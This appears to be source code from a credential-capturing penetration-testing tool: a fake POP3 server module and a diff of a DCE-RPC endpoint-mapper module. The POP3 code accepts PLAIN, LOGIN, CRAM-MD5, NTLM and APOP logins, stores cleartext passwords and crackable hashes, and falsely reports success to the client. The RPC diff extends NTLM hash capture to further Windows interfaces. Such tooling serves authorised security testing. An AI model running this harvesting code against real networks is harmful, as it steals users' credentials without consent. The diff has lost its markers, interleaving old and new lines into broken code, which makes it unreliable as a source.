"""Send continuation (+) response for multi-line auth"""
if data:
response = "+ %s\r\n" % data
else:
response = "+\r\n"
self.request.send(response.encode('latin-1'))
def handle_apop(self, data):
"""Handle APOP authentication (MD5 challenge-response)"""
# APOP username digest
# digest is MD5(challenge + password)
try:
parts = data.strip().split(b' ', 2)
if len(parts) < 3:
return False
username = parts[1].decode('latin-1')
digest = parts[2].decode('latin-1').lower()
# Format for hashcat/john: username:$apop$challenge$digest
hash_string = "%s:$apop$%s$%s" % (username, self.challenge, digest)
SaveToDb({
'module': 'POP3',
'type': 'APOP',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured APOP digest from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing APOP: %s' % str(e)))
return False
def handle_auth_plain(self, data):
"""Handle AUTH PLAIN (base64 encoded username/password)"""
try:
# AUTH PLAIN can be sent as:
# AUTH PLAIN <base64>
# or
# AUTH PLAIN
# <base64>
if len(data.strip().split(b' ')) > 2:
# Inline format
auth_data = data.strip().split(b' ', 2)[2]
else:
# Need to read next line
self.send_continue()
auth_data = self.request.recv(1024).strip()
# Decode base64
decoded = base64.b64decode(auth_data)
# Format: [authzid]\x00username\x00password
parts = decoded.split(b'\x00')
if len(parts) >= 3:
username = parts[1].decode('latin-1', errors='ignore')
password = parts[2].decode('latin-1', errors='ignore')
elif len(parts) == 2:
username = parts[0].decode('latin-1', errors='ignore')
password = parts[1].decode('latin-1', errors='ignore')
else:
return False
SaveToDb({
'module': 'POP3',
'type': 'AUTH-PLAIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured AUTH PLAIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing AUTH PLAIN: %s' % str(e)))
return False
def handle_auth_login(self, data):
"""Handle AUTH LOGIN (two-stage base64 authentication)"""
try:
# AUTH LOGIN is two-stage:
# Client: AUTH LOGIN
# Server: + VXNlcm5hbWU6 (base64 "Username:")
# Client: <base64 username>
# Server: + UGFzc3dvcmQ6 (base64 "Password:")
# Client: <base64 password>
# Send "Username:" prompt
self.send_continue(base64.b64encode(b"Username:").decode('latin-1'))
username_b64 = self.request.recv(1024).strip()
if not username_b64:
return False
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
# Send "Password:" prompt
self.send_continue(base64.b64encode(b"Password:").decode('latin-1'))
password_b64 = self.request.recv(1024).strip()
if not password_b64:
return False
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
SaveToDb({
'module': 'POP3',
'type': 'AUTH-LOGIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured AUTH LOGIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing AUTH LOGIN: %s' % str(e)))
return False
def handle_auth_cram_md5(self, data):
"""Handle AUTH CRAM-MD5 (challenge-response)"""
try:
# Generate challenge
import time
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
challenge_b64 = base64.b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64:
return False
response = base64.b64decode(response_b64).decode('latin-1', errors='ignore')
# Response format: username<space>digest
parts = response.split(' ', 1)
if len(parts) < 2:
return False
username = parts[0]
digest = parts[1].lower()
# Format for hashcat: $cram_md5$challenge$digest$username
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
SaveToDb({
'module': 'POP3',
'type': 'CRAM-MD5',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured CRAM-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing CRAM-MD5: %s' % str(e)))
return False
def handle_ntlm_auth(self, data):
"""Handle NTLM authentication"""
try:
# Check for NTLMSSP NEGOTIATE
if b'NTLMSSP\x00\x01' in data:
# Generate NTLM challenge
challenge = RandomChallenge()
# Build NTLMSSP CHALLENGE
ntlm_challenge = b'NTLMSSP\x00'
ntlm_challenge += struct.pack('<I', 2) # Type 2
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target name
ntlm_challenge += struct.pack('<I', 0x00008201) # Flags
ntlm_challenge += challenge # Server challenge
ntlm_challenge += b'\x00' * 8 # Reserved
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target info
# Send challenge (base64 encoded in continuation)
challenge_b64 = base64.b64encode(ntlm_challenge).decode('latin-1')
self.send_continue(challenge_b64)
# Receive NTLMSSP AUTH
auth_b64 = self.request.recv(2048).strip()
if not auth_b64 or auth_b64 == b'*':
return False
auth_data = base64.b64decode(auth_b64)
# Parse NTLMSSP AUTH
if auth_data[0:8] != b'NTLMSSP\x00':
return False
msg_type = struct.unpack('<I', auth_data[8:12])[0]
if msg_type != 3:
return False
# Parse fields
lm_len = struct.unpack('<H', auth_data[12:14])[0]
lm_offset = struct.unpack('<I', auth_data[16:20])[0]
ntlm_len = struct.unpack('<H', auth_data[20:22])[0]
ntlm_offset = struct.unpack('<I', auth_data[24:28])[0]
domain_len = struct.unpack('<H', auth_data[28:30])[0]
domain_offset = struct.unpack('<I', auth_data[32:36])[0]
user_len = struct.unpack('<H', auth_data[36:38])[0]
user_offset = struct.unpack('<I', auth_data[40:44])[0]
# Extract data
username = auth_data[user_offset:user_offset+user_len].decode('utf-16-le', errors='ignore')
domain = auth_data[domain_offset:domain_offset+domain_len].decode('utf-16-le', errors='ignore')
lm_hash = auth_data[lm_offset:lm_offset+lm_len]
ntlm_hash = auth_data[ntlm_offset:ntlm_offset+ntlm_len]
# Determine version
if ntlm_len == 24:
hash_type = "NTLMv1"
hash_string = "%s::%s:%s:%s:%s" % (
username, domain,
codecs.encode(lm_hash, 'hex').decode('latin-1'),
codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
codecs.encode(challenge, 'hex').decode('latin-1')
)
elif ntlm_len > 24:
hash_type = "NTLMv2"
hash_string = "%s::%s:%s:%s:%s" % (
username, domain,
codecs.encode(challenge, 'hex').decode('latin-1'),
codecs.encode(ntlm_hash[:16], 'hex').decode('latin-1'),
codecs.encode(ntlm_hash[16:], 'hex').decode('latin-1')
)
else:
return False
SaveToDb({
'module': 'POP3',
'type': hash_type + '-SSP',
'client': self.client_address[0],
'user': domain + '\\' + username,
'hash': codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured %s hash from %s for user %s\\%s" % (
hash_type, self.client_address[0].replace("::ffff:", ""), domain, username), 3, 1))
return True
return False
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing NTLM: %s' % str(e)))
return False
def SendPacketAndRead(self):
"""Send OK packet and read response"""
Packet = POPOKPacket()
self.request.send(NetworkSendBufferPython2or3(Packet))
return self.request.recv(1024)
def handle(self):
try:
data = self.SendPacketAndRead()
if data[0:4] == b'CAPA':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
# Generate challenge for APOP
challenge = self.generate_challenge()
# Send banner with challenge for APOP support
banner = "+OK POP3 server ready %s\r\n" % challenge
self.request.send(banner.encode('latin-1'))
# Read first command
data = self.request.recv(1024)
# Handle CAPA (capability) command
if data[0:4].upper() == b'CAPA':
# Advertise supported auth methods
capabilities = [
"+OK Capability list follows",
"USER",
"SASL PLAIN LOGIN CRAM-MD5 NTLM",
"IMPLEMENTATION Responder POP3",
"."
]
self.request.send("\r\n".join(capabilities).encode('latin-1') + b"\r\n")
data = self.request.recv(1024)
if data[0:4] == b'AUTH':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
# Handle AUTH command
if data[0:4].upper() == b'AUTH':
mechanism = data[5:].strip().upper()
if mechanism == b'PLAIN':
self.handle_auth_plain(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'LOGIN':
self.handle_auth_login(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
self.handle_auth_cram_md5(data)
self.send_ok("Authentication successful")
return
elif mechanism == b'NTLM':
if self.handle_ntlm_auth(data):
self.send_ok("Authentication successful")
else:
self.send_err("Authentication failed")
return
elif not mechanism:
# AUTH without mechanism - list supported
auth_list = "+OK Supported mechanisms:\r\nPLAIN\r\nLOGIN\r\nCRAM-MD5\r\nNTLM\r\n.\r\n"
self.request.send(auth_list.encode('latin-1'))
data = self.request.recv(1024)
else:
self.send_err("Unsupported authentication method")
return
# Handle APOP command
if data[0:4].upper() == b'APOP':
if self.handle_apop(data):
self.send_ok("Authentication successful")
else:
self.send_err("Authentication failed")
return
# Handle traditional USER/PASS
if data[0:4].upper() == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
self.send_ok("Password required")
data = self.request.recv(1024)
if data[0:4] == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1")
data = self.SendPacketAndRead()
if data[0:4] == b'PASS':
Pass = data[5:].strip(b"\r\n").decode("latin-1")
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
self.SendPacketAndRead()
except Exception:
if data[0:4].upper() == b'PASS':
Pass = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User + ":" + Pass,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured cleartext credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), User), 2, 1))
self.send_ok("Authentication successful")
return
self.send_err("Unknown command")
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Exception: %s' % str(e)))
pass

View File

@@ -27,188 +27,375 @@ else:
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
# Transfer syntaxes
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" # NDR v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" # v1
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
#for mapper
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
# Common RPC interface UUIDs (original ones)
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" # v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" # v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" # v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" # v1
# Additional RPC interfaces for better coverage
SAMR = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac" # v1 - Security Account Manager
SRVSVC = "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" # v3 - Server Service
WKSSVC = "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a" # v1 - Workstation Service
WINREG = "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03" # v1 - Windows Registry
SVCCTL = "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03" # v2 - Service Control Manager
ATSVC = "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b" # v1 - Task Scheduler
DNSSERVER= "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76" # v5 - DNS Server
def Chose3264x(packet):
if Map32 in packet:
return Map32
else:
return Map64
# Interface names for logging
INTERFACE_NAMES = {
DSRUAPI: "DRSUAPI",
LSARPC: "LSARPC",
NETLOGON: "NETLOGON",
WINSPOOL: "WINSPOOL",
SAMR: "SAMR",
SRVSVC: "SRVSVC",
WKSSVC: "WKSSVC",
WINREG: "WINREG",
SVCCTL: "SVCCTL",
ATSVC: "ATSVC",
DNSSERVER: "DNSSERVER"
}
def FindNTLMOpcode(data):
SSPIStart = data.find(b'NTLMSSP')
"""Find NTLMSSP message type in data"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return False
SSPIString = data[SSPIStart:]
if len(SSPIString) < 12:
return False
return SSPIString[8:12]
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
def ParseRPCHash(data, client, Challenge):
"""Parse NTLMSSP v1/v2 hashes from RPC data"""
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if len(SSPIString) < 64:
return
try:
LMhashLen = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
# NTLMv1
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Try to get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
# NTLMv2
elif NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
# Try to get hostname
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
else:
Hostname = ''
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'hostname': Hostname,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
except Exception as e:
if settings.Config.Verbose:
print(text('[DCE-RPC] Error parsing hash: %s' % str(e)))
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def FindInterfaceUUID(data):
"""Find which RPC interface UUID is being requested"""
# Check for each known interface UUID in the data
for uuid, name in INTERFACE_NAMES.items():
if NetworkSendBufferPython2or3(uuid) in data:
return uuid, name
return None, None
class RPCMap(BaseRequestHandler):
"""RPCMap handler - Port 135 Endpoint Mapper"""
def handle(self):
try:
data = self.request.recv(1024)
data = self.request.recv(2048)
if not data:
return
self.request.settimeout(5)
Challenge = RandomChallenge()
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
#More recent windows version can and will bind on port 135...Let's grab it.
# Handle BIND request
if data[0:3] == b"\x05\x00\x0b": # Bind Request
# Identify which interface first
uuid, interface_name = FindInterfaceUUID(data)
if not interface_name:
interface_name = "unknown interface"
# Check for NTLMSSP NEGOTIATE in BIND
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
# Send NTLMSSP CHALLENGE
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
# Receive NTLMSSP AUTH
data = self.request.recv(2048)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
self.request.close()
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
return
# Standard BIND processing
if NetworkSendBufferPython2or3(Map) in data:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
elif NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
else:
# Try to identify which interface
if uuid:
RPC = RPCMapBindAckAcceptedAns(CTX1UID=uuid, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
if settings.Config.Verbose:
print(text('[DCE-RPC] BIND request for %s from %s' % (interface_name, self.client_address[0].replace("::ffff:", ""))))
else:
# Default to NDR
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
# DSRUAPI
if NetworkSendBufferPython2or3(DSRUAPI) in data:
# Try to receive more data (AUTH3 or REQUEST)
try:
data = self.request.recv(2048)
if data:
# Check for AUTH3 (packet type 0x10)
if len(data) > 2 and data[2:3] == b"\x10":
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
# Check for NTLM in any subsequent packet
elif FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
except:
pass
# Handle mapper requests (after BIND)
elif data[0:3] == b"\x05\x00\x00": # Mapper request
uuid, name = FindInterfaceUUID(data)
if uuid == DSRUAPI:
x = RPCMapBindMapperAns()
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#LSARPC
if NetworkSendBufferPython2or3(LSARPC) in data:
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DRSUAPI auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == LSARPC:
x = RPCMapBindMapperAns(Tower1UID=LSARPC, Tower1Version="\x00\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#WINSPOOL
if NetworkSendBufferPython2or3(WINSPOOL) in data:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SAMR:
x = RPCMapBindMapperAns(Tower1UID=SAMR, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SAMR auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SRVSVC:
x = RPCMapBindMapperAns(Tower1UID=SRVSVC, Tower1Version="\x03\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SRVSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WKSSVC:
x = RPCMapBindMapperAns(Tower1UID=WKSSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WKSSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WINSPOOL:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == WINREG:
x = RPCMapBindMapperAns(Tower1UID=WINREG, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINREG auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == SVCCTL:
x = RPCMapBindMapperAns(Tower1UID=SVCCTL, Tower1Version="\x02\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to SVCCTL auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == ATSVC:
x = RPCMapBindMapperAns(Tower1UID=ATSVC, Tower1Version="\x01\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to ATSVC auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == DNSSERVER:
x = RPCMapBindMapperAns(Tower1UID=DNSSERVER, Tower1Version="\x05\x00", Tower2UID=NDR, Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DNSSERVER auth server." % self.client_address[0].replace("::ffff:", ""), 3, 1))
elif uuid == NETLOGON:
# Don't redirect NETLOGON for now - we want NTLM not SecureChannel
self.request.close()
#NetLogon
if NetworkSendBufferPython2or3(NETLOGON) in data:
self.request.close()
# For now, we don't want to establish a secure channel... we want NTLM.
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
#x.calculate()
